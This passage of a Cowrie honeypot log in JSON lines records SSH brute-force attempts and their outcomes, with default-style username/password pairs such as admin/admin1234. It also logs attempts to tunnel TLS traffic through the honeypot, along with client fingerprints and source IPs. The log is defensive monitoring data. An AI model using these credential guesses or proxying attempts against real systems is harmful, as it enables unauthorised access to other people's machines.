**\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93ZZ\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08ZZ\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)ZZ\\x00\\x01\\x00\\x00\\x1d\\x00 \\x9bb\\xf7\\xcdVLj\\xc0\\x9e\"\\nd\\xc0\\x17\\x89\\xa3\\x8d\\xbe\\x1f\\x85\\xda\\xb4\\x7f\\xd5O\\xe2\\xc9=\\'\\xaa-?\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\x8a\\x8a\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02jj\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":1,"message":"discarded direct-tcp forward request 1 to 104.21.5.61:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\\\,\\x1a\\xb1)\"\\xea%\\xc3aB\\xfe\\x19\\xa4\\x9b\\xcd\\x02\\x1e0\\x0c\\x1b\\xd9\\xff\\x82\\x93{Q[Wq\\xe7\\x90 p\\x04\\xeb$\\\\\\x85\\xa2\\xe91\\tv\\xc6\\xf4s\\xde\\'\\x9d6\\x05>\\x94\\xea?\\xd6_9gW\\x03\\xd2S^\\x00 **\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93ZZ\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08ZZ\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)ZZ\\x00\\x01\\x00\\x00\\x1d\\x00 \\x9bb\\xf7\\xcdVLj\\xc0\\x9e\"\\nd\\xc0\\x17\\x89\\xa3\\x8d\\xbe\\x1f\\x85\\xda\\xb4\\x7f\\xd5O\\xe2\\xc9=\\'\\xaa-?\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\x8a\\x8a\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02jj\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:23:59.885897Z","src_ip":"123.27.168.40","session":"6e757937235e","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"104.21.5.61","dst_port":443,"src_ip":"123.27.168.40","src_port":0,"message":"direct-tcp connection request to 104.21.5.61:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:24:00.388674Z","session":"6e757937235e","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"104.21.5.61","dst_port":443,"ja4":"t12d1615h2_46e7e9700bed_cadd4ee51f0b","message":"JA4 fingerprint for forwarded TLS to 104.21.5.61:443: t12d1615h2_46e7e9700bed_cadd4ee51f0b","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:24:00.646431Z","src_ip":"123.27.168.40","session":"6e757937235e","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"104.21.5.61","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\x99#\\x13E\\x1e{)\\x9b\\xbdJ\\xc5V\\x10\\x83\\xab\\xdd\\xdb\\xeb)i\\xc4D\\xbd\\xd6\\tDX\\x02\\xfb\\xf0\\xef\\xe1 \\xfb\\xcf\\x95\\xf1\\xbe +\"f\\xa7q\\x7f\\x1bgP>y\\x99\\xf4\\xcf\\xf4\\x08\\xd5P\\x81E\\xe4\\xa7m\\xb5\\xb1z\\x00\"\\x8a\\x8a\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91zz\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\xca\\xca\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\xca\\xca\\x00\\x01\\x00\\x00\\x1d\\x00 |\\x9e\\x19\\x1c\\x06\\x93\\xa7p\\xd1\\x81\\xa8`\\x96\\xd2i\\xca\\x0b\\xd1\\xd9\\xefO\\xef(\\x8ck\\'z\\x19\\xec\\x9d\\xdbg\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\xba\\xba\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\x9a\\x9a\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":2,"message":"discarded direct-tcp forward request 2 to 104.21.5.61:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\x99#\\x13E\\x1e{)\\x9b\\xbdJ\\xc5V\\x10\\x83\\xab\\xdd\\xdb\\xeb)i\\xc4D\\xbd\\xd6\\tDX\\x02\\xfb\\xf0\\xef\\xe1 \\xfb\\xcf\\x95\\xf1\\xbe +\"f\\xa7q\\x7f\\x1bgP>y\\x99\\xf4\\xcf\\xf4\\x08\\xd5P\\x81E\\xe4\\xa7m\\xb5\\xb1z\\x00\"\\x8a\\x8a\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91zz\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\xca\\xca\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\xca\\xca\\x00\\x01\\x00\\x00\\x1d\\x00 |\\x9e\\x19\\x1c\\x06\\x93\\xa7p\\xd1\\x81\\xa8`\\x96\\xd2i\\xca\\x0b\\xd1\\xd9\\xefO\\xef(\\x8ck\\'z\\x19\\xec\\x9d\\xdbg\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\xba\\xba\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\x9a\\x9a\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:24:00.669548Z","src_ip":"123.27.168.40","session":"6e757937235e","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:24:00.843982Z","src_ip":"91.92.40.36","session":"e7d7911869bc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:24:00.848997Z","src_ip":"91.92.40.36","session":"e7d7911869bc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"nehemiah","password":"nehemiah","message":"login attempt [nehemiah/nehemiah] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:24:01.147873Z","src_ip":"91.92.40.36","session":"f3f00565d118","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.1","message":"Connection lost after 4.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:24:01.302263Z","src_ip":"123.27.168.40","session":"6e757937235e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"summer","password":"summer","message":"login attempt [summer/summer] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:24:03.026208Z","src_ip":"91.92.40.36","session":"39173f634e58","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"11.1","message":"Connection lost after 11.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:24:03.670661Z","src_ip":"91.92.40.36","session":"f3f00565d118","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"17.1","message":"Connection lost after 17.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:24:06.106750Z","src_ip":"91.92.40.36","session":"39173f634e58","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"123qwerty","message":"login attempt [admin/123qwerty] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:24:06.927430Z","src_ip":"91.92.40.36","session":"e7d7911869bc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":30346,"dst_ip":"159.203.135.109","dst_port":22,"session":"cff771fea610","protocol":"ssh","message":"New connection: 91.92.40.36:30346 (159.203.135.109:22) [session: cff771fea610]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:24:08.857997Z"}
{"eventid":"cowrie.session.closed","duration":"10.4","message":"Connection lost after 10.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:24:09.214339Z","src_ip":"91.92.40.36","session":"e7d7911869bc","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:24:09.859495Z","src_ip":"91.92.40.36","session":"cff771fea610","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:24:09.863810Z","src_ip":"91.92.40.36","session":"cff771fea610","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"jacklyn","password":"jacklyn","message":"login attempt [jacklyn/jacklyn] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:24:13.382245Z","src_ip":"91.92.40.36","session":"cff771fea610","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"7.2","message":"Connection lost after 7.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:24:16.035649Z","src_ip":"91.92.40.36","session":"cff771fea610","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"23.175.50.51","src_port":52159,"dst_ip":"10.17.0.5","dst_port":22,"session":"99b57d0a8ef9","protocol":"ssh","message":"New connection: 23.175.50.51:52159 (10.17.0.5:22) [session: 99b57d0a8ef9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:24:16.054623Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.70","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.70","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:24:16.058703Z","src_ip":"23.175.50.51","session":"99b57d0a8ef9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":49.84265160560608,"message":"Connection lost after 49 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:24:16.294330Z","src_ip":"128.199.8.54","session":"88dd9b62a24c","protocol":"telnet"}
{"eventid":"cowrie.client.kex","hassh":"0425c279610910d2d9aef3b285e59b86","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,rsa2048-sha256,rsa1024-sha1,diffie-hellman-group1-sha1;aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-ctr,aes192-cbc,aes128-ctr,aes128-cbc,chacha20-poly1305@openssh.com,blowfish-ctr,blowfish-cbc,3des-ctr,3des-cbc,arcfour256,arcfour128;hmac-sha2-256,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-sha2-256-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-etm@openssh.com;none,zlib","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","rsa2048-sha256","rsa1024-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss"],"encCS":["aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-ctr","aes192-cbc","aes128-ctr","aes128-cbc","chacha20-poly1305@openssh.com","blowfish-ctr","blowfish-cbc","3des-ctr","3des-cbc","arcfour256","arcfour128"],"macCS":["hmac-sha2-256","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-sha2-256-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha1-96-etm@openssh.com","hmac-md5-etm@openssh.com"],"compCS":["none","zlib"],"langCS":[""],"message":"SSH client hassh fingerprint: 0425c279610910d2d9aef3b285e59b86","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:24:16.499253Z","src_ip":"23.175.50.51","session":"99b57d0a8ef9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":48286,"dst_ip":"159.203.135.109","dst_port":22,"session":"97bc9180fdb9","protocol":"ssh","message":"New connection: 91.92.40.36:48286 (159.203.135.109:22) [session: 97bc9180fdb9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:24:17.461291Z"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin1234","message":"login attempt [admin/admin1234] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:24:18.150434Z","src_ip":"23.175.50.51","session":"99b57d0a8ef9","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:24:18.545448Z","src_ip":"91.92.40.36","session":"97bc9180fdb9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-n